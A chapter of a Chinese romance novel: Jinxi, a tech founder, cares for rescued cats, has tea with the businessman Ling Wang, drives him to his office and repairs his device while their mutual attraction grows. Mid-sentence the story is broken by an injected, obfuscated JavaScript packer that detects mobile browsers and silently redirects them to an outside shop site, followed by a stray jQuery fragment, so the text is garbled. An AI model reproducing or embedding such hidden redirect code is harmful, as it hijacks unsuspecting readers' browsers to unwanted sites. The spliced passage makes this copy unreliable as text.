那人总算肯停下。
对面的玻璃门上映着两个身影,正瞭望同一片天空。
世界是模糊的轮廓,今希双手往后撑坐地上,视线笔直地望向天空,任呼啸的风刮过她的脸颊,流动的空气有点儿潮冷,她的眼睛也是。
云翻涌着被大片烧红,天空是渐变彩色的。
她身后停驻着个高大男人,黑衬衣,挺拔如松,目光幽深地望向她。
今希没有任何自怜情绪,但偶尔感到委屈是人之常情。
已经有了一定的挫败积累,她悲伤要尽兴,结束后也想方设法翻篇,大脑机械地思考余下的事情该如何处理。
过了会,一条狗,三只猫跑了过来。
大耳为首叼着一包纸巾,蹭着她的鞋不停地摇尾巴。
她愣了一下,回头往后看,发现站在那里的人已经消失不见。
吹了会风,情绪一点点过渡到安静。
苏星宇从外面回来,他抱着只猫正要打针。
今希走近,伸手挠一下猫下巴,发现它颈部有伤口,皱眉:“这是被无良医院颈静脉取血过的?”
苏星宇:“嗯,前天一位姑娘送来的。”
苏星宇是体育肌肉男,却有温柔耐心的一面,这只猫受过惊很胆怯,在他怀里显得弱小。
今希帮忙抱着,让苏星宇打针。
她动作很轻地安抚,猫脑袋窝在她怀里,呈放松的状态。
结束后收拾完,今希陪这只猫玩了会,它似乎没那么害怕了。
遛动物的空地草坪种了花,猫嘴里叼了朵野花,跑来丢给今希,像要认她为主,捡来的生命在暗礁险滩中生存过,因而较为懂事机灵。
今希对被抛弃的生命天然有种保护欲,看了会,跟苏星宇决定:“养它的费用我来出。”
“基地今年还缺钱用吗?”
希航每年都会在能接受的范围内公益捐赠,做慈善有好名声,还能合理抵税,今希觉得划算,只是今年的钱都砸进研发里了。
“不用,”提到这,苏星宇看得出高兴,叉腰笑:“已经有爱心人士捐了,虽然基地一直添新成员,好在定期有爱动物人士来收养,预计近两年的费用都够了。”
今希疑惑:“……是哪个有名的富商吗?”
苏星宇看她一眼,神情迟疑似不方便透露。
今希有分寸,没再往下问,往外面宽阔的绿影瞭望,视线里绿莹莹一片,似水洗过的青橄榄。
“怪不得我看你这地近几个月变化那么大,改得快像个公园,原来是经费上来了。”
“这不正好。”
苏星宇没法透露,话里有话:“你不是把这当放松身心的自留地。”
今希没有否认。
开车回去,今妈给她发了单子让她买东西,今希从超市里出来时隔壁花店的大姐招揽她进店。
今希没拒绝,出来时捧一束蜜柚汁多头玫瑰。
正值晚高峰,对面车水马龙,恍惚间看见辆熟悉的车开过。
/
在今希的协调下,智能卡片机的开售仍是推迟了三天。
新产品收到不少用户反馈,今希近来忙得焦头烂额,没有亲自送至凌望公司。
再次见面是在茶馆。
今希托姜枝订了公司用的茶叶,下班后自己过来取。
刚一进门,前台跟她招手:“今希姐,姜姐还要一会才过来,让等一会。”
今希想找个位子等,发现周围全部坐满了。
服务生记得他们都是老板朋友,一路引到凌望那桌。
看见他时,今希顿下脚步,有些进退维谷。
热水壶沸腾咕噜出白雾,凌望在泡茶,好看的手指轻巧熟稔。
过道狭窄,有人要路过,今希赶忙侧身让路。
“我有那么吓人?”他总算抬眼看来,神色自若:“坐下吧,挡着别人了。”
今希偃旗息鼓,坐下。
她难得扎了高马尾,饱满的圆脑袋昂扬又精神,跟上次崩着脸抽泣的样子判若两人。
凌望伸手给她斟来一杯:“烫。”
今希呷了一口,品出是西湖龙井。
“你是在等人吗?”她问。
凌望:“等老林谈事,他们夫妻俩去接朋友了。”
这会到了演奏的时间,台上驻场的琴师开始弹琴,现场安静下来,有人拿手机拍照。
闪光灯频亮的瞬间,今希看见对面桌的姑娘一个人借着琴声泪流满面,大约是碰上伤心事。
今希招来服务生,低声交代什么。
过了会,服务生给对面桌送了盘甜点和纸巾。
对面的姑娘在收到东西后眼睛莹亮,但收到关心似乎哭得更狠。
今希看一眼对面微微出神,凌望看着她。
她身上似乎有种天性使然的侠女精神,不多不少,恰如其分。
“遇见事情应该快速解决,哭没有意义。”他似有所指。
今希收回目光,想到不久前,情绪过载不是人为可以控制的,而这社会功利浮躁,什么都要上价值上意义。
“不需要做什么都要意义,哭是很正常的事情。”她不觉得掉眼泪就代表脆弱,发泄完依旧会解决。
“所以你也会这样哭。”他明知故问。
“有问题吗?”今希没有直接回答。
“只要在合适地点,不妨碍其他人,它跟笑是一样的,”她语气轻,却近乎执拗地直抒心意:“只是一种表达情绪的方式,你想也可以。”
这答案像是她会说出来的,凌望眸色一深:“那你说说,上次这样表达情绪是为什么?”
今希微怔。
“上周,”他们还没熟悉到值得她剖白自己的程度,她眼也不眨,冷傲:“吃麻辣小龙虾,辣着了。”
今希似乎并不清楚自己故作板脸的样子有多狡黠漂亮。凌望扯了扯唇,懒得去拆穿她。
“那你现在缓过来了吗?”
滤网筛除残渣是需要时间的。他或许是无意,今希抬眼望着台上,嘴角有轻淡释然的笑意:“当然。”
听了会琴,老林和姜枝从外面回来。
跟老林一块走过来的是位穿西装的外国人。
凌望站起来跟对方握手,像有事情谈。
今希颔首点过头,随姜枝到里间去。
临走前听见凌望在跟对方沟通,神情专注,音色磁感动听。
姜枝自己亲力亲为点了一箱子:“你要的茶叶,还有我备了两套茶具,你留着送人。”
今希看了眼,备得很齐:“麻烦了。”
“是你照顾生意。”
姜枝莞尔:“你不急着走吧,陪我试吃,厨房新出的小吃拼盘。”
今希坐了下来,但方才在凌望桌已经吃过一轮,肚子没什么空间。
姜枝有意提起:“听老林说,程齐霁去上海了,他新投的公司在上海,以后免不了两地跑,你们是怎么打算的?”
今希没有避而不答,干净利落:“姜枝姐,他的事跟我没什么关系了。”
上次还好好的,刚求了婚,虽然那天情形看得出来今希不高兴,但姜枝没想到她眼下那么决绝,好歹是一起创业的交情。
出去时,凌望的事情已经聊完,跟老林刚把人送走,正从外面回来。
今希去拎箱子,两个叠放摞起,准备离开。
她刚走几步,上面偏小的箱子摇摇晃晃,姜枝怕她拿不动,要喊老林过来。
下一秒,姜枝看见凌望眉心轻拧,快步走来,一只手扶住箱子下方,稍用力抬高。
感受到遒劲沉稳的力量,今希刚抬眼,凌望就接过去,动作流畅自然,她还没反应过来手已经空了。
老林慢两三步上来,笑了笑搭腔:“你让他帮忙拿,他经常健身的,身上有劲。”
凌望没说话,今希颔首:“那谢谢了。”
老林想起什么,又问:“对了,齐霁说你们吵架了,他让我劝……”
他话没说完,姜枝连忙咳嗽两声打断:“就你话的多,店里的账还没对完呢。”
今希见状:“不耽误你们了,我先走了。”
姜枝看两人走远,倏忽疑窦丛生,凌望看今希的眼神有种不易察觉的特别,难道有别的情况。
她目光清炯,忍不住问:“老林,你觉不觉得凌望对今希有点奇怪。”
老林目光循着望过去,“哪奇怪?”
姜枝心思细腻,想了想举例:“就比如,有人请凌望帮忙,出于绅士,那他或许是会帮的,但如果对方没有请求,他主动去做,你难道见过?”
老林一下醍醐灌顶,拍拍脑袋直摇头:“……见鬼了,不会吧。”
店外,今希开了后备箱,东西由凌望搬上车。
后备箱关上,他仍是不动如山,今希狐疑:“你不走吗?”
凌望默了默:“没开车来,司机走了。”
她随口友好:“那我捎你?”
“行。”凌望半点不客气,自己拉车门坐上副驾,动作快得今希原地滞了一下。
她跟着上车,拉安全带问他:“要去哪?”
凌望:“回我公司。”
这个点回去加班的情况挺常见,今希没多问。
中途思绪发散,她想起来:“凌总,产品你们已经签收了,使用情况尚
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17837466|211504||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
可?如有反馈可以联系我们的售后,有新需求可以提出。”
初售都是合作公司给了优惠力度,今希急需得知市场反响,好为下一次版本update做好准备。
听她公事公办的语气,凌望面无表情:“还以为你不敢问。”
今希不解,借着等绿灯看他一眼:“嗯?”
凌望侧眸看过来,带点谴责意味,像要跟她算账:“上次是谁说亲自送过来的?”
今希后知后觉:“最近太忙了。”
“嗯,”车灯昏暗,他这会板着脸很冷感,刻意咬着音节:“从来看不见今总的诚意。”
“……”今希发现,凌望说话呛人的功力不差,时不时绝对性碾压。
她索性不接话,安静看着前方开车,车内落针可闻。
开到他公司楼下,车刚停下,听见凌望淡淡:“质量不太行。”
他字正腔圆,像个没感情的评价机器:“早上刚用坏一个,至于你说的反馈,是有些建议要提。”
今希立即接话:“我们有保修的,可以联系运维人员,或者我来看看。”
凌望看她问:“一起上去?”
今希掀眼帘,朝窗外望了眼灯火通明的大厦,点头跟凌望下车。
坐电梯上楼,感应玻璃门开启。
今希往格子间看了眼,有零星几人在加班,看凌望领着个人上来,纷纷探头好奇。
进了他办公室,门没关,虚阖着。
凌望走到办公桌,从抽屉里拿出录音卡,递过去。
今希启动试了一下,好在她跟进过产品全程,会基础排查,卡片很薄,她从包里拿便携工具拆开检查原因。
凌望看她一直拘谨站着:“可以坐下来。”
今希没多想直接坐下,刚检测一遍:“是不是进过水?”
凌望回答:“早上助理洒了点咖啡,及时处理了。”
今希思忖着,得考虑提高一下防水性能。
“问题不大,换个小配件就行。”
话音才落,今希无意间碰到他鼠标,显示屏亮起,上面停留在邮件页面。
“抱歉,我不是故意的。”
一抬眼,她发现凌望慵懒地靠在办公桌边沿,借着一盏办公灯在低头看她,眼神黏灼,并不在意她看了他电脑。
今希愣了下,意识到气氛不对,一股热息在胸口内翻涌,神色不自然地偏开眼。
想从他的办公椅上起来,凌望挡在侧边又不好起身。
胶着之际,他低声问:“我记得你从前在百航是软件工程师,怎么会修硬件?”
今希用力抿唇:“后来学的。”
整个行业都用ai提效,决定‘软硬一体’后她在研发里选了这款产品来做,是深思熟虑过的,公司主营是管理系统,这款产品利于智能办公,客户群体接近,打包一块卖出很容易。
今希风轻云淡:“我不喜欢没有把握的事情,既然决定要做,自然要会一点。”本质是穷则思变。
凌望提起百航,她想到什么疑惑:“凌总以前就认识我吗?”
凌望回忆一瞬,言简意赅:“见过。”
“你们这行女生会比较少?”他换了个话题。
她淡然:“建议你查一下优秀的工程师代表。”
凌望笑了下,往深了问:“程齐霁要放弃,为什么你还愿意坚持?”
今希默认片刻:“我没有太多的选择。”
她是大多数普通人,没有随心所欲的生活资本,念书选专业时因以为理工科无须资源背景也能好好就业。
干这行的怕35岁危机,有了一定条件后她就想自己做主,而勘不破的境遇,总裹挟着各种好坏事件,始料未及地推她走。
“这些年不算白过,我可以尽量选不讨厌的那条路,”她坦诚地承载这份现实,笑了笑:“而且有些产品做出来挺有成就感,收益也很可观。”
她倒是自洽,凌望一针见血指出:“所以你已经有答案了。”
今希恍然醒悟,被他一句话开解,正想说什么。
搁在桌上的手机无预兆地响起来,来电显示是程齐霁。
今希瞟一眼,波澜不兴,在挂和接之间犹豫时凌望问:“不接?”
他敛神,有意试探:“是因为吵架,还是心虚?”
外面办公的人陆续离开,室内静谧得仅听见彼此的呼吸声。
一股闷燥横亘在他们之间驱之不散,今希看着他回招:“你是希望我接,还是不希望我接。”
对视两秒,他姿态落拓:“你认为呢?”
“我认为,”今希清了清嗓,刻意撇清:“我们很清白。”